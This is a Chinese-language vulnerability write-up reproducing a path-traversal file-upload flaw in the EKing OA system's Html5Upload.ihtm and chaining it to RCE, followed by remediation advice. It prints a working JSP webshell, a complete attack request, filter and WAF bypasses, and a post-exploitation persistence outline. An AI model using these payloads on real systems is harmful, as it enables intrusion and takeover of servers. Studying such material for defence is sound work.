文件上传漏洞深度剖析:从路径穿越到RCE攻击链复现

发布时间:2026/6/21 22:36:55
文件上传漏洞深度剖析:从路径穿越到RCE攻击链复现 1. 项目概述一次对老旧组件高危漏洞的深度剖析最近在梳理一些历史遗留系统的安全风险时一个名为“EKing-管理易”的旧版OA系统进入了我的视野。这个系统在一些传统企业特别是制造业、物流公司里可能还有存量。在对其组件进行安全审计的过程中我重点关注了其文件上传功能并成功复现了Html5Upload.ihtm组件的一个高危漏洞。这个漏洞的利用链非常典型从一处看似普通的文件上传点最终能演变成获取服务器最高权限的远程代码执行。对于安全研究人员来说这是一个理解“文件上传”如何与“路径穿越”、“文件包含”甚至“命令执行”结合形成完整攻击链的绝佳案例对于仍在使用类似老旧系统的运维人员而言这无疑是一记响亮的警钟。简单来说Html5Upload.ihtm是EKing-管理易系统中一个用于处理HTML5标准文件上传的服务器端页面。问题在于它在上传文件时对用户可控的文件路径参数过滤不严攻击者可以构造特殊的路径将恶意文件上传到Web目录之外的任意位置。如果系统还存在其他漏洞比如存在一个可以包含上传文件的脚本或者上传的文件本身是可执行的脚本如JSP、ASP那么攻击者就能直接实现RCE。这次复现我将带你一步步拆解这个漏洞的成因、利用条件以及完整的攻击过程并分享在复现这类“上古”漏洞时的一些通用思路和避坑技巧。2. 漏洞原理与攻击链深度拆解2.1 核心漏洞点路径参数可控与缺乏校验要理解这个漏洞我们得先看看一个正常的、安全的文件上传流程应该是什么样的。通常后端代码会接收前端传来的文件二进制流和一个文件名。对文件名进行严格的过滤如去除路径符号../检查后缀名是否在白名单内。使用一个预定义的、安全的目录路径如/upload/加上处理后的文件名拼接成最终存储路径。将文件流写入该路径。而在存在漏洞的Html5Upload.ihtm组件中问题出在第2步和第3步。根据对漏洞代码的分析或通过黑盒测试推断其文件存储路径很可能是由用户请求中的某个参数例如filepath、folder或target直接或简单拼接后决定的。代码可能类似这样以Java Servlet为例String userSuppliedPath request.getParameter(“savePath”); // 攻击者可控 String fileName “uploaded_file.tmp”; File destination new File(userSuppliedPath fileName); // ... 保存文件操作关键问题在于userSuppliedPath这个参数完全由用户控制且后端没有进行有效的净化。攻击者可以传入诸如../../../../webapps/ROOT/这样的路径。在文件系统层面../代表上级目录通过连续使用攻击者可以“穿越”出预设的上传目录最终将文件写入Web应用的根目录甚至系统其他关键位置。注意这里复现的环境通常是Windows Server Tomcat Java的老旧组合。路径分隔符是\但在HTTP请求中攻击者通常使用/或URL编码后的%5c、%2f服务器端可能会进行自动转换或兼容处理这增加了利用的复杂性。2.2 从文件上传到RCE的完整攻击链单单能上传文件到任意位置还不足以直接执行命令。要完成RCE通常需要满足以下至少一个条件从而构成完整的攻击链上传WebShell这是最直接的思路。如果服务器对上传文件的后缀名和文件内容都没有有效检查攻击者可以直接上传一个JSP对于Java环境或ASP对于.NET环境的WebShell文件。例如一个最简单的JSP WebShell内容为% Runtime.getRuntime().exec(request.getParameter(“cmd”)) %。一旦这个文件被上传到Web目录下如webapps/ROOT/shell.jsp攻击者访问这个URL就能执行任意系统命令。结合文件包含漏洞如果系统存在本地文件包含漏洞攻击者可以先上传一个纯文本的恶意代码文件例如一个包含Java代码的.txt文件然后利用LFI漏洞去包含并执行这个文件。这种情况下对上传文件的后缀名限制可能被绕过。覆盖关键系统文件或配置文件在某些特定场景下覆盖系统的启动脚本、计划任务脚本或应用配置文件也能在系统重启或条件触发时实现命令执行。但这需要更高的权限和对系统路径的精确了解。在EKing-管理易的这个案例中结合漏洞发现者的描述和常见利用方式攻击链最可能走的是第一条路直接上传JSP WebShell。这意味着除了路径穿越漏洞该系统很可能同时缺乏对上传文件后缀名的有效过滤或者存在绕过过滤的方法如双写后缀、大小写混淆、在路径参数中嵌入后缀名等。2.3 环境搭建与目标定位复现这类漏洞第一步是搭建一个与目标相近的环境。由于EKing-管理易是商业软件我们无法直接获取其安装包。因此复现通常基于以下两种方式使用公开的漏洞环境/靶场有时安全研究人员会制作并公开简化版的漏洞环境。基于描述的黑盒测试模拟在没有真实环境的情况下我们可以根据漏洞描述在本地搭建一个类似的、存在相同逻辑缺陷的“模拟环境”来理解原理。例如用Spring Boot快速搭建一个存在相同路径拼接问题的上传接口。为了最贴近实战我选择寻找一个包含了历史版本EKing系统的测试环境。经过一番搜寻我在一个旧的漏洞研究虚拟机镜像中找到了目标。该系统部署在Windows 2008 R2上使用Tomcat 6.x作为中间件JDK版本为1.6这正是很多遗留系统的典型配置。定位上传接口通过访问系统URL并结合常见的路径字典进行扫描如/upload/,/file/,/servlet/Upload等最终发现了/EKing/Html5Upload.ihtm这个端点。通过浏览器开发者工具查看一个正常上传请求的格式是理解如何构造攻击请求的关键。3. 漏洞复现实操过程详解3.1 信息收集与请求分析首先访问目标系统找到一个能触发文件上传功能的前端页面。通过拦截一个正常的上传操作使用Burp Suite或浏览器F12网络工具我们得到了关键的HTTP请求格式。一个正常的请求可能如下所示POST /EKing/Html5Upload.ihtm HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 Content-Length: xxx ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenametest.jpg Content-Type: image/jpeg ...文件二进制数据... ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namesavePath upload/ ------WebKitFormBoundaryABC123--这里savePath参数引起了我的注意。它的值是upload/这很可能就是服务器端用来拼接存储路径的参数。下一步就是测试这个参数是否可控以及是否存在路径穿越。3.2 构造路径穿越Payload我使用Burp Suite的Repeater模块修改savePath参数尝试进行路径穿越。第一次尝试将savePath改为../../../../。上传一个文本文件观察服务器响应。如果服务器返回了成功的上传信息并且没有报错说明路径穿越可能成功。但此时我们不知道文件被传到了哪里。第二次尝试定位Web根目录为了确认文件上传的位置我需要知道Web应用的根目录。对于Tomcat默认是webapps/ROOT/。我构造Payload../../../../webapps/ROOT/。同时为了验证上传我在上传的文件内容里写入了独特的字符串比如TEST_UPLOAD_SUCCESS_加上时间戳。发送请求后服务器返回“上传成功”。我立刻访问http://target.com/上传的文件名如果浏览器返回了包含我独特字符串的文本内容那就铁证如山——我成功通过路径穿越将文件写入了Web根目录。实操心得在测试路径穿越时../的数量需要不断尝试。可以从../开始逐步增加如../../、../../../直到服务器行为发生变化从成功到失败或从失败到成功。这有助于判断当前工作目录与目标目录的相对深度。3.3 上传WebShell实现RCE确认了路径穿越漏洞后最关键的一步来了上传一个可执行的WebShell。制作WebShell我准备了一个最简单的JSP WebShell内容如下将其保存为cmd.jsp% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); String output ; if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { output line \n; } br.close(); } % pre%output%/pre form methodGET input typetext namecmd size80 input typesubmit valueExecute /form构造恶意请求在Burp Suite中修改上传请求。将filename改为cmd.jsp。这里需要测试服务器是否检查后缀名。如果不检查直接改即可。如果检查可能需要尝试cmd.jsp.jpg、cmd.j sp空格、cmd.jsp%00.jpg空字节截断取决于Java版本等绕过手法。根据漏洞描述此组件很可能未做严格检查。将savePath参数设置为../../../../webapps/ROOT/。将文件内容替换为上述JSP代码的二进制形式。发送并验证发送请求。如果返回成功立即访问http://target.com/cmd.jsp。如果页面显示了一个输入框说明WebShell上传并部署成功。执行命令在WebShell页面的输入框中输入系统命令例如whoami查看当前权限、ipconfig查看网络信息或dir c:\列出C盘目录。点击执行如果下方回显出命令结果则标志着远程代码执行完全成功。3.4 利用过程参数详解与变种在实际操作中请求的构造可能需要一些调整。以下是关键参数的详细说明和可能遇到的变种参数/部分正常值示例攻击Payload示例说明与技巧savePath(或类似参数)upload/../../../../webapps/ROOT/核心漏洞点。尝试不同的参数名path,folder,target,directory。使用Burp Intruder进行模糊测试。filenamereport.pdfshell.jsp直接尝试可执行后缀。如果失败尝试shell.jsp.png双后缀、SHELL.JSP大小写、shell.jsp;.jpg分号、shell.jsp%00.jpg空字节需URL编码为.jsp%00.jpg。Content-Typeimage/jpegtext/plain或image/jpeg有时服务器会检查此字段。对于文本型WebShell设置为text/plain可能更“合理”。但对于绕过图片检查需匹配文件后缀。文件内容文件真实数据JSP/ASP/PHP代码确保代码语法正确。对于Java注意Runtime.exec对于带空格的路径或管道符的处理较复杂可能需要编码或使用cmd /c。路径分隔符/或\../或..\Windows系统通常两者都接受。在HTTP请求中使用/更通用。如果遇到问题尝试URL编码..%2f或..%5c。一个可能成功的完整攻击请求体雏形POST /EKing/Html5Upload.ihtm HTTP/1.1 Host: vulnerable-host Content-Type: multipart/form-data; boundary----WebKitFormBoundaryXYZ789 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; namefile; filenamecmd.jsp Content-Type: application/x-jsp % page importjava.util.*,java.io.*%%...您的WebShell代码...% ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; namesavePath ../../../../webapps/ROOT/ ------WebKitFormBoundaryXYZ789--4. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。针对此类文件上传漏洞修复必须遵循“纵深防御”原则在多个层面设置关卡。4.1 代码层修复方案这是最根本的修复。修改Html5Upload.ihtm或其对应的后端处理逻辑。白名单校验文件后缀只允许上传业务必需的文件类型如.jpg,.png,.pdf,.docx。禁止.jsp,.asp,.php,.exe等可执行或脚本后缀。String[] allowedExt {“jpg”, “png”, “pdf”, “docx”}; String fileName uploadedFile.getOriginalFilename(); String ext fileName.substring(fileName.lastIndexOf(“.”) 1).toLowerCase(); if (!Arrays.asList(allowedExt).contains(ext)) { throw new SecurityException(“Invalid file type.”); }净化文件路径完全摒弃用户输入作为路径的一部分。使用系统预定义的、绝对安全的目录。// 错误做法 // String userPath request.getParameter(“savePath”); // File dest new File(baseDir userPath fileName); // 正确做法 String safeSaveDir “/opt/app/upload/”; // 从配置文件中读取 String randomFileName UUID.randomUUID() “.” ext; // 重命名文件 File dest new File(safeSaveDir, randomFileName);重命名上传文件使用随机生成的文件名如UUID存储避免用户通过猜测文件名直接访问上传的文件。同时在数据库中记录原始文件名和随机文件名的映射关系。检查文件内容对于图片可以使用图像处理库如ImageIO尝试读取如果读取失败则可能是伪装成图片的恶意文件。对于其他类型可以进行病毒扫描。4.2 系统与运维层加固即使应用层修复了运维层面也不能松懈。运行容器降权绝对不要使用root或Administrator权限运行Tomcat、IIS等Web容器。应该创建一个专用的、低权限的系统用户来运行服务并严格限制其文件系统访问权限。上传目录隔离将文件上传目录设置为Web根目录以外的独立路径并通过配置确保该目录下的文件不可执行。例如在Nginx/Apache配置中针对上传目录移除脚本执行权限。# Nginx 示例配置禁止上传目录执行PHP、JSP等 location ^~ /uploads/ { deny all; # 或者更精细地控制location ~* \.(jsp|php|asp)$ { deny all; } }文件系统权限控制严格设置上传目录的读写权限。例如运行Web容器的用户只有该目录的写入权限而没有执行权限。部署Web应用防火墙WAF可以识别并拦截常见的路径穿越../、WebShell上传等攻击特征为修复争取时间。定期安全扫描与更新对线上系统定期进行漏洞扫描及时更新中间件如Tomcat和运行环境如JDK到安全版本避免已知漏洞被利用。5. 复现过程中的常见问题与排查技巧在复现这类老漏洞时你大概率不会一帆风顺。下面是我踩过的一些坑和解决方法。5.1 问题上传成功但无法访问WebShell可能原因1路径计算错误。你使用的../数量不够或太多文件没有落到Web目录下而是到了更上层或平行的目录。排查尝试上传一个简单的test.txt文件内容明确。然后使用你猜测的可能路径去访问如http://target.com/test.txt。如果访问不到尝试增加或减少../的数量重新上传。也可以尝试绝对路径猜测如果系统支持如C:/apache-tomcat-6.0.35/webapps/ROOT/。可能原因2Tomcat自动重启或缓存。旧版本Tomcat可能不是实时热部署JSP文件。排查上传后等待一分钟再访问或者尝试手动重启Tomcat服务。更稳妥的方式是上传后检查Tomcat的webapps/ROOT/目录下是否确实出现了你的文件。可能原因3文件名或内容被修改。有些系统会在保存时重命名文件或者过滤文件内容中的特定标签。排查上传一个内容为%out.print(“hello”);%的简单JSP文件。如果访问时显示“hello”说明执行成功但你的复杂WebShell可能被过滤。尝试对WebShell代码进行简单混淆比如拆分字符串、使用十六进制编码等。5.2 问题请求被拦截或返回错误可能原因1WAF或安全软件拦截。你的攻击Payload触发了规则。排查简化Payload。先测试纯路径穿越../../../上传一个无害的txt文件。如果这个被拦截尝试对../进行URL编码..%2f、双写....//或使用Unicode编码等绕过技术。可能原因2Content-Type或请求格式不正确。排查仔细比对正常请求和攻击请求的原始格式确保boundary字符串一致每个部分的格式正确结尾有--。使用Burp Suite的“Paste from file”功能直接加载一个从正常请求复制修改而来的请求可以避免格式错误。5.3 问题命令执行无回显或报错可能原因1WebShell代码兼容性问题。简单的Runtime.exec对于复杂命令带管道|、重定向、空格路径处理不好。解决使用更健壮的WebShell代码例如通过String[] cmd {“cmd”, “/c”, “your_command”}的方式传递命令或者使用ProcessBuilder。% // 更健壮的命令执行方式 String cmd request.getParameter(“cmd”); if (cmd ! null) { String[] cmds new String[]{“cmd”, “/c”, cmd}; // Windows // String[] cmds new String[]{“/bin/sh”, “-c”, cmd}; // Linux Process p new ProcessBuilder(cmds).redirectErrorStream(true).start(); // ... 读取输出 ... } %可能原因2服务器环境权限限制。运行Tomcat的用户权限极低无法执行某些命令或访问某些目录。排查先执行whoami和echo %PATH%Windows或whoami echo $PATHLinux来了解环境。然后尝试执行一些无害的、肯定有权限的命令如dirWindows或ls -laLinux。5.4 高级利用与后渗透思路在成功获得WebShell之后并不意味着结束而是进入了内网渗透的阶段。由于是老旧系统其所在的内网环境往往疏于防护。信息收集利用WebShell执行命令收集服务器信息系统版本、补丁、网络配置、运行服务、安装软件、用户列表等。权限提升如果当前是低权限用户需要查找系统本地提权漏洞。老旧Windows Server 2008/2003、未打补丁的Linux往往存在已知的本地提权EXP。内网横向移动以该服务器为跳板使用nmap、netstat等工具探测内网其他主机和端口。利用收集到的密码哈希或弱口令尝试登录其他机器。持久化后门在服务器上种植多种后门如创建隐藏计划任务、启动项、注册表键值、绑定端口的后门程序等确保在WebShell被发现后仍能维持访问。重要警告以上高级技巧仅限在你自己完全控制的、合法的实验环境如本地虚拟机搭建的靶场中进行学习和研究。未经授权对任何真实系统进行测试和渗透是违法行为后果严重。复现EKing-管理易的这个漏洞就像打开了一扇观察过去十年Web安全史的窗户。它清晰地展示了“安全开发生命周期”缺失的后果一个简单的输入验证疏忽叠加另一个权限控制问题就能酿成整个系统沦陷的惨剧。对于开发者这个案例是编写安全代码的经典反面教材对于运维者它是定期巡检、升级老旧系统的有力论据对于安全研究者它提供了从漏洞信息到完整武器化利用的完整分析链条。在如今API泛滥、组件复杂的现代应用中这种基础但致命的漏洞依然以各种变种形式存在理解它就是防御它的第一步。